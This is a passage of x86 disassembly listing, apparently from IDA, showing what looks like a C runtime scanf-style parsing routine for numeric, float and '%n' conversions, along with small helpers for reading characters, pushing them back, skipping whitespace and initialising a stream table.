mov [ebp+var_208], eax
jmp short loc_4205A3
; ---------------------------------------------------------------------------
loc_420586: ; CODE XREF: sub_41FBE0+988j
mov edx, [ebp+var_1D8]
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 80h
mov [ebp+var_208], ecx
loc_4205A3: ; CODE XREF: sub_41FBE0+9A4j
cmp [ebp+var_208], 0
jz short loc_4205D9
mov ecx, 4
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_427900
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
mov edx, [ebp+var_1D8]
push edx
call sub_420FC0
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_4205E1
; ---------------------------------------------------------------------------
loc_4205D9: ; CODE XREF: sub_41FBE0+9CAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_4205E1: ; CODE XREF: sub_41FBE0+9F7j
jmp loc_42068D
; ---------------------------------------------------------------------------
loc_4205E6: ; CODE XREF: sub_41FBE0+97Bj
cmp dword_442F58, 1
jle short loc_420608
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_20C], eax
jmp short loc_420622
; ---------------------------------------------------------------------------
loc_420608: ; CODE XREF: sub_41FBE0+A0Dj
mov edx, [ebp+var_1D8]
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_20C], ecx
loc_420622: ; CODE XREF: sub_41FBE0+A26j
cmp [ebp+var_20C], 0
jz short loc_420685
cmp [ebp+var_C], 6Fh
jnz short loc_42065D
cmp [ebp+var_1D8], 38h
jge short loc_420652
mov ecx, 3
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_427900
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
jmp short loc_42065B
; ---------------------------------------------------------------------------
loc_420652: ; CODE XREF: sub_41FBE0+A58j
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
loc_42065B: ; CODE XREF: sub_41FBE0+A70j
jmp short loc_420683
; ---------------------------------------------------------------------------
loc_42065D: ; CODE XREF: sub_41FBE0+A4Fj
mov ecx, 2
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
call sub_427900
add eax, [ebp+var_30]
adc edx, [ebp+var_2C]
mov ecx, 1
call sub_427900
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
loc_420683: ; CODE XREF: sub_41FBE0:loc_42065Bj
jmp short loc_42068D
; ---------------------------------------------------------------------------
loc_420685: ; CODE XREF: sub_41FBE0+A49j
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_42068D: ; CODE XREF: sub_41FBE0:loc_4205E1j
; sub_41FBE0:loc_420683j
movsx ecx, [ebp+var_18]
test ecx, ecx
jnz short loc_4206F8
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1D8]
sub eax, 30h
cdq
mov ecx, [ebp+var_30]
add ecx, eax
mov eax, [ebp+var_2C]
adc eax, edx
mov [ebp+var_30], ecx
mov [ebp+var_2C], eax
cmp [ebp+var_1E8], 0
jz short loc_4206DB
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_4206DB
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_4206F6
; ---------------------------------------------------------------------------
loc_4206DB: ; CODE XREF: sub_41FBE0+ADFj
; sub_41FBE0+AEEj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
loc_4206F6: ; CODE XREF: sub_41FBE0+AF9j
jmp short loc_420714
; ---------------------------------------------------------------------------
loc_4206F8: ; CODE XREF: sub_41FBE0+AB3j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_421080
add esp, 8
loc_420714: ; CODE XREF: sub_41FBE0:loc_4206F6j
jmp loc_42054B
; ---------------------------------------------------------------------------
loc_420719: ; CODE XREF: sub_41FBE0+971j
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_420734
mov eax, [ebp+var_30]
neg eax
mov ecx, [ebp+var_2C]
adc ecx, 0
neg ecx
mov [ebp+var_30], eax
mov [ebp+var_2C], ecx
loc_420734: ; CODE XREF: sub_41FBE0+B3Fj
jmp loc_4208DD
; ---------------------------------------------------------------------------
loc_420739: ; CODE XREF: sub_41FBE0+965j
; sub_41FBE0:loc_4208C8j
movsx edx, [ebp+var_18]
test edx, edx
jnz loc_4208CD
cmp [ebp+var_C], 78h
jz short loc_420751
cmp [ebp+var_C], 70h
jnz short loc_4207C9
loc_420751: ; CODE XREF: sub_41FBE0+B69j
cmp dword_442F58, 1
jle short loc_420776
push 80h
mov eax, [ebp+var_1D8]
push eax
call sub_41E750
add esp, 8
mov [ebp+var_210], eax
jmp short loc_420793
; ---------------------------------------------------------------------------
loc_420776: ; CODE XREF: sub_41FBE0+B78j
mov ecx, [ebp+var_1D8]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp+var_210], eax
loc_420793: ; CODE XREF: sub_41FBE0+B94j
cmp [ebp+var_210], 0
jz short loc_4207BC
mov ecx, [ebp+var_40]
shl ecx, 4
mov [ebp+var_40], ecx
mov edx, [ebp+var_1D8]
push edx
call sub_420FC0
add esp, 4
mov [ebp+var_1D8], eax
jmp short loc_4207C4
; ---------------------------------------------------------------------------
loc_4207BC: ; CODE XREF: sub_41FBE0+BBAj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_4207C4: ; CODE XREF: sub_41FBE0+BDAj
jmp loc_42084B
; ---------------------------------------------------------------------------
loc_4207C9: ; CODE XREF: sub_41FBE0+B6Fj
cmp dword_442F58, 1
jle short loc_4207EB
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_214], eax
jmp short loc_420805
; ---------------------------------------------------------------------------
loc_4207EB: ; CODE XREF: sub_41FBE0+BF0j
mov edx, [ebp+var_1D8]
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_214], ecx
loc_420805: ; CODE XREF: sub_41FBE0+C09j
cmp [ebp+var_214], 0
jz short loc_420842
cmp [ebp+var_C], 6Fh
jnz short loc_420832
cmp [ebp+var_1D8], 38h
jge short loc_420828
mov edx, [ebp+var_40]
shl edx, 3
mov [ebp+var_40], edx
jmp short loc_420830
; ---------------------------------------------------------------------------
loc_420828: ; CODE XREF: sub_41FBE0+C3Bj
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_420830: ; CODE XREF: sub_41FBE0+C46j
jmp short loc_420840
; ---------------------------------------------------------------------------
loc_420832: ; CODE XREF: sub_41FBE0+C32j
mov ecx, [ebp+var_40]
mov edx, [ebp+var_40]
lea eax, [edx+ecx*4]
shl eax, 1
mov [ebp+var_40], eax
loc_420840: ; CODE XREF: sub_41FBE0:loc_420830j
jmp short loc_42084B
; ---------------------------------------------------------------------------
loc_420842: ; CODE XREF: sub_41FBE0+C2Cj
mov cl, [ebp+var_18]
add cl, 1
mov [ebp+var_18], cl
loc_42084B: ; CODE XREF: sub_41FBE0:loc_4207C4j
; sub_41FBE0:loc_420840j
movsx edx, [ebp+var_18]
test edx, edx
jnz short loc_4208AC
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+var_40]
lea eax, [edx+ecx-30h]
mov [ebp+var_40], eax
cmp [ebp+var_1E8], 0
jz short loc_42088F
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
cmp [ebp+var_1C], 0
jnz short loc_42088F
mov dl, [ebp+var_18]
add dl, 1
mov [ebp+var_18], dl
jmp short loc_4208AA
; ---------------------------------------------------------------------------
loc_42088F: ; CODE XREF: sub_41FBE0+C93j
; sub_41FBE0+CA2j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
loc_4208AA: ; CODE XREF: sub_41FBE0+CADj
jmp short loc_4208C8
; ---------------------------------------------------------------------------
loc_4208AC: ; CODE XREF: sub_41FBE0+C71j
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_421080
add esp, 8
loc_4208C8: ; CODE XREF: sub_41FBE0:loc_4208AAj
jmp loc_420739
; ---------------------------------------------------------------------------
loc_4208CD: ; CODE XREF: sub_41FBE0+B5Fj
movsx edx, [ebp+var_68]
test edx, edx
jz short loc_4208DD
mov eax, [ebp+var_40]
neg eax
mov [ebp+var_40], eax
loc_4208DD: ; CODE XREF: sub_41FBE0:loc_420734j
; sub_41FBE0+CF3j
cmp [ebp+var_C], 46h
jnz short loc_4208EA
mov [ebp+var_6C], 0
loc_4208EA: ; CODE XREF: sub_41FBE0+D01j
cmp [ebp+var_6C], 0
jz short loc_420938
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_420936
mov edx, [ebp+var_34]
add edx, 1
mov [ebp+var_34], edx
loc_420901: ; CODE XREF: sub_41FBE0+D70j
cmp [ebp+var_1DC], 0
jz short loc_42091A
mov eax, [ebp+var_3C]
mov ecx, [ebp+var_30]
mov [eax], ecx
mov edx, [ebp+var_2C]
mov [eax+4], edx
jmp short loc_420936
; ---------------------------------------------------------------------------
loc_42091A: ; CODE XREF: sub_41FBE0+D28j
movsx eax, [ebp+var_38]
test eax, eax
jz short loc_42092C
mov ecx, [ebp+var_3C]
mov edx, [ebp+var_40]
mov [ecx], edx
jmp short loc_420936
; ---------------------------------------------------------------------------
loc_42092C: ; CODE XREF: sub_41FBE0+D40j
mov eax, [ebp+var_3C]
mov cx, word ptr [ebp+var_40]
mov [eax], cx
loc_420936: ; CODE XREF: sub_41FBE0+D16j
; sub_41FBE0+D38j ...
jmp short loc_42093D
; ---------------------------------------------------------------------------
loc_420938: ; CODE XREF: sub_41FBE0+D0Ej
jmp loc_420ECA
; ---------------------------------------------------------------------------
loc_42093D: ; CODE XREF: sub_41FBE0:loc_420936j
jmp loc_420D74
; ---------------------------------------------------------------------------
loc_420942: ; CODE XREF: sub_41FBE0+3C4j
; DATA XREF: .text:00420F86o
mov edx, [ebp+var_20]
mov [ebp+var_40], edx
movsx eax, [ebp+var_70]
test eax, eax
jnz short loc_420952
jmp short loc_420901
; ---------------------------------------------------------------------------
loc_420952: ; CODE XREF: sub_41FBE0+D6Ej
jmp loc_420D74
; ---------------------------------------------------------------------------
loc_420957: ; CODE XREF: sub_41FBE0+3C4j
; DATA XREF: .text:00420F7Eo
lea ecx, [ebp+var_1D0]
mov [ebp+var_1E0], ecx
cmp [ebp+var_1D8], 2Dh
jnz short loc_420986
mov edx, [ebp+var_1E0]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
jmp short loc_42098F
; ---------------------------------------------------------------------------
loc_420986: ; CODE XREF: sub_41FBE0+D8Aj
cmp [ebp+var_1D8], 2Bh
jnz short loc_4209B3
loc_42098F: ; CODE XREF: sub_41FBE0+DA4j
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
loc_4209B3: ; CODE XREF: sub_41FBE0+DADj
cmp [ebp+var_1E8], 0
jz short loc_4209C5
cmp [ebp+var_1C], 15Dh
jle short loc_4209CC
loc_4209C5: ; CODE XREF: sub_41FBE0+DDAj
mov [ebp+var_1C], 15Dh
loc_4209CC: ; CODE XREF: sub_41FBE0+DE3j
; sub_41FBE0+E82j
cmp dword_442F58, 1
jle short loc_4209EE
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_218], eax
jmp short loc_420A08
; ---------------------------------------------------------------------------
loc_4209EE: ; CODE XREF: sub_41FBE0+DF3j
mov edx, [ebp+var_1D8]
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_218], ecx
loc_420A08: ; CODE XREF: sub_41FBE0+E0Cj
cmp [ebp+var_218], 0
jz short loc_420A67
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_420A67
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_4209CC
; ---------------------------------------------------------------------------
loc_420A67: ; CODE XREF: sub_41FBE0+E2Fj
; sub_41FBE0+E3Fj
movsx ecx, byte_442F5C
movsx edx, byte ptr [ebp+var_1D8]
cmp ecx, edx
jnz loc_420B64
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_420B64
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1E0]
mov dl, byte_442F5C
mov [ecx], dl
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
loc_420AC9: ; CODE XREF: sub_41FBE0+F7Fj
cmp dword_442F58, 1
jle short loc_420AEB
push 4
mov ecx, [ebp+var_1D8]
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_21C], eax
jmp short loc_420B05
; ---------------------------------------------------------------------------
loc_420AEB: ; CODE XREF: sub_41FBE0+EF0j
mov edx, [ebp+var_1D8]
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_21C], ecx
loc_420B05: ; CODE XREF: sub_41FBE0+F09j
cmp [ebp+var_21C], 0
jz short loc_420B64
mov edx, [ebp+var_1C]
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
test edx, edx
jz short loc_420B64
mov ecx, [ebp+var_6C]
add ecx, 1
mov [ebp+var_6C], ecx
mov edx, [ebp+var_1E0]
mov al, byte ptr [ebp+var_1D8]
mov [edx], al
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_420AC9
; ---------------------------------------------------------------------------
loc_420B64: ; CODE XREF: sub_41FBE0+E97j
; sub_41FBE0+EABj ...
cmp [ebp+var_6C], 0
jz loc_420CC9
cmp [ebp+var_1D8], 65h
jz short loc_420B84
cmp [ebp+var_1D8], 45h
jnz loc_420CC9
loc_420B84: ; CODE XREF: sub_41FBE0+F95j
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
sub edx, 1
mov [ebp+var_1C], edx
test ecx, ecx
jz loc_420CC9
mov eax, [ebp+var_1E0]
mov byte ptr [eax], 65h
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
cmp [ebp+var_1D8], 2Dh
jnz short loc_420BEE
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
jmp short loc_420BF7
; ---------------------------------------------------------------------------
loc_420BEE: ; CODE XREF: sub_41FBE0+FF2j
cmp [ebp+var_1D8], 2Bh
jnz short loc_420C2D
loc_420BF7: ; CODE XREF: sub_41FBE0+100Cj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jnz short loc_420C12
mov edx, [ebp+var_1C]
add edx, 1
mov [ebp+var_1C], edx
jmp short loc_420C2D
; ---------------------------------------------------------------------------
loc_420C12: ; CODE XREF: sub_41FBE0+1025j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
loc_420C2D: ; CODE XREF: sub_41FBE0+1015j
; sub_41FBE0+1030j ...
cmp dword_442F58, 1
jle short loc_420C4F
push 4
mov edx, [ebp+var_1D8]
push edx
call sub_41E750
add esp, 8
mov [ebp+var_220], eax
jmp short loc_420C6A
; ---------------------------------------------------------------------------
loc_420C4F: ; CODE XREF: sub_41FBE0+1054j
mov eax, [ebp+var_1D8]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_220], edx
loc_420C6A: ; CODE XREF: sub_41FBE0+106Dj
cmp [ebp+var_220], 0
jz short loc_420CC9
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz short loc_420CC9
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
mov eax, [ebp+var_1E0]
mov cl, byte ptr [ebp+var_1D8]
mov [eax], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
jmp loc_420C2D
; ---------------------------------------------------------------------------
loc_420CC9: ; CODE XREF: sub_41FBE0+F88j
; sub_41FBE0+F9Ej ...
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_421080
add esp, 8
cmp [ebp+var_6C], 0
jz short loc_420D23
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_420D21
mov eax, [ebp+var_34]
add eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_1E0]
mov byte ptr [ecx], 0
lea edx, [ebp+var_1D0]
push edx
mov eax, [ebp+var_3C]
push eax
movsx ecx, [ebp+var_38]
sub ecx, 1
push ecx
call off_443208
add esp, 0Ch
loc_420D21: ; CODE XREF: sub_41FBE0+1111j
jmp short loc_420D28
; ---------------------------------------------------------------------------
loc_420D23: ; CODE XREF: sub_41FBE0+1109j
jmp loc_420ECA
; ---------------------------------------------------------------------------
loc_420D28: ; CODE XREF: sub_41FBE0:loc_420D21j
jmp short loc_420D74
; ---------------------------------------------------------------------------
loc_420D2A: ; CODE XREF: sub_41FBE0+3B0j
; sub_41FBE0+3C4j
; DATA XREF: ...
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
cmp eax, [ebp+var_1D8]
jz short loc_420D5A
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_1D8]
push eax
call sub_421080
add esp, 8
jmp loc_420ECA
; ---------------------------------------------------------------------------
loc_420D5A: ; CODE XREF: sub_41FBE0+1157j
mov cl, [ebp+var_28]
sub cl, 1
mov [ebp+var_28], cl
movsx edx, [ebp+var_70]
test edx, edx
jnz short loc_420D74
mov eax, [ebp+var_1D4]
mov [ebp+arg_8], eax
loc_420D74: ; CODE XREF: sub_41FBE0:loc_4203D6j
; sub_41FBE0:loc_42093Dj ...
mov cl, [ebp+var_28]
add cl, 1
mov [ebp+var_28], cl
jmp short loc_420DA0
; ---------------------------------------------------------------------------
loc_420D7F: ; CODE XREF: sub_41FBE0+38Bj
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_1D8]
push ecx
call sub_421080
add esp, 8
jmp loc_420ECA
; ---------------------------------------------------------------------------
loc_420DA0: ; CODE XREF: sub_41FBE0+119Dj
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
jmp loc_420EA1
; ---------------------------------------------------------------------------
loc_420DAE: ; CODE XREF: sub_41FBE0+11Dj
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_421020
add esp, 4
mov [ebp+var_1D8], eax
mov ecx, [ebp+var_1D8]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_420E06
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_421080
add esp, 8
jmp loc_420ECA
; ---------------------------------------------------------------------------
loc_420E06: ; CODE XREF: sub_41FBE0+1203j
mov eax, [ebp+var_1D8]
and eax, 0FFh
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_420EA1
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov esi, edx
mov eax, [ebp+arg_0]
push eax
call sub_421020
add esp, 4
mov [ebp+var_1F4], eax
mov ecx, [ebp+var_1F4]
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
cmp esi, ecx
jz short loc_420E98
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1F4]
push edx
call sub_421080
add esp, 8
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_421080
add esp, 8
jmp short loc_420ECA
; ---------------------------------------------------------------------------
loc_420E98: ; CODE XREF: sub_41FBE0+127Cj
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
loc_420EA1: ; CODE XREF: sub_41FBE0+11C9j
; sub_41FBE0+1245j
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_420EC5
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz short loc_420EC3
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+1]
cmp ecx, 6Eh
jz short loc_420EC5
loc_420EC3: ; CODE XREF: sub_41FBE0+12D4j
jmp short loc_420ECA
; ---------------------------------------------------------------------------
loc_420EC5: ; CODE XREF: sub_41FBE0+12C8j
; sub_41FBE0+12E1j
jmp loc_41FC57
; ---------------------------------------------------------------------------
loc_420ECA: ; CODE XREF: sub_41FBE0+80j
; sub_41FBE0+635j ...
cmp [ebp+var_1D8], 0FFFFFFFFh
jnz short loc_420EFE
cmp [ebp+var_34], 0
jnz short loc_420EED
movsx edx, [ebp+var_28]
test edx, edx
jnz short loc_420EED
mov [ebp+var_224], 0FFFFFFFFh
jmp short loc_420EF6
; ---------------------------------------------------------------------------
loc_420EED: ; CODE XREF: sub_41FBE0+12F7j
; sub_41FBE0+12FFj
mov eax, [ebp+var_34]
mov [ebp+var_224], eax
loc_420EF6: ; CODE XREF: sub_41FBE0+130Bj
mov eax, [ebp+var_224]
jmp short loc_420F01
; ---------------------------------------------------------------------------
loc_420EFE: ; CODE XREF: sub_41FBE0+12F1j
mov eax, [ebp+var_34]
loc_420F01: ; CODE XREF: sub_41FBE0+131Cj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41FBE0 endp
; ---------------------------------------------------------------------------
off_420F08 dd offset loc_41FE9A ; DATA XREF: sub_41FBE0+239r
dd offset loc_41FE20
dd offset loc_41FE38
dd offset loc_41FE7C
dd offset loc_41FE25
dd offset loc_41FE87
dd offset loc_41FE8F
dd offset loc_41FEA5
byte_420F28 db 0 ; DATA XREF: sub_41FBE0+233r
db 3 dup(7)
dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h)
dd 7040707h, 7050707h, 2 dup(7070707h)
db 7, 6
off_420F76 dd offset loc_41FFAB ; DATA XREF: sub_41FBE0+3C4r
dd offset loc_4204E4
dd offset loc_420957
dd offset loc_4203DB
dd offset loc_420942
dd offset loc_4204E0
dd offset loc_41FFF1
dd offset loc_4203E2
dd offset loc_420016
dd offset loc_420D2A
byte_420F9E db 0 ; DATA XREF: sub_41FBE0+3BEr
db 1
dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420FC0 proc near ; CODE XREF: sub_41FBE0+9E9p
; sub_41FBE0+BCCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp dword_442F58, 1
jle short loc_420FE2
push 4
mov eax, [ebp+arg_0]
push eax
call sub_41E750
add esp, 8
mov [ebp+var_4], eax
jmp short loc_420FF7
; ---------------------------------------------------------------------------
loc_420FE2: ; CODE XREF: sub_420FC0+Dj
mov ecx, [ebp+arg_0]
mov edx, off_442D4C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_4], eax
loc_420FF7: ; CODE XREF: sub_420FC0+20j
cmp [ebp+var_4], 0
jz short loc_421005
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
jmp short loc_421011
; ---------------------------------------------------------------------------
loc_421005: ; CODE XREF: sub_420FC0+3Bj
mov edx, [ebp+arg_0]
and edx, 0FFFFFFDFh
sub edx, 7
mov [ebp+var_8], edx
loc_421011: ; CODE XREF: sub_420FC0+43j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_420FC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421020 proc near ; CODE XREF: sub_41FBE0+370p
; sub_41FBE0+698p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jl short loc_42105B
mov ecx, [ebp+arg_0]
mov edx, [ecx]
movsx eax, byte ptr [edx]
and eax, 0FFh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_42106A
; ---------------------------------------------------------------------------
loc_42105B: ; CODE XREF: sub_421020+1Aj
mov ecx, [ebp+arg_0]
push ecx
call sub_421790
add esp, 4
mov [ebp+var_4], eax
loc_42106A: ; CODE XREF: sub_421020+39j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_421020 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421080 proc near ; CODE XREF: sub_41FBE0+ECp
; sub_41FBE0+666p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_421099
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_427990
add esp, 8
loc_421099: ; CODE XREF: sub_421080+7j
pop ebp
retn
sub_421080 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210A0 proc near ; CODE XREF: sub_41FBE0+E3p
; sub_41FBE0+353p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
loc_4210A4: ; CODE XREF: sub_4210A0+30j
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_4]
push eax
call sub_421020
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_427670
add esp, 4
test eax, eax
jz short loc_4210D2
jmp short loc_4210A4
; ---------------------------------------------------------------------------
loc_4210D2: ; CODE XREF: sub_4210A0+2Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4210A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210E0 proc near ; DATA XREF: .data:0043400Co
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword_493760, 0
jnz short loc_4210F9
mov dword_493760, 200h
jmp short loc_42110C
; ---------------------------------------------------------------------------
loc_4210F9: ; CODE XREF: sub_4210E0+Bj
cmp dword_493760, 14h
jge short loc_42110C
mov dword_493760, 14h
loc_42110C: ; CODE XREF: sub_4210E0+17j
; sub_4210E0+20j
push 83h
push offset a_file_c ; "_file.c"
push 2
push 4
mov eax, dword_493760
push eax
call sub_416E40
add esp, 14h
mov dword_492750, eax
cmp dword_492750, 0
jnz short loc_421175
mov dword_493760, 14h
push 86h
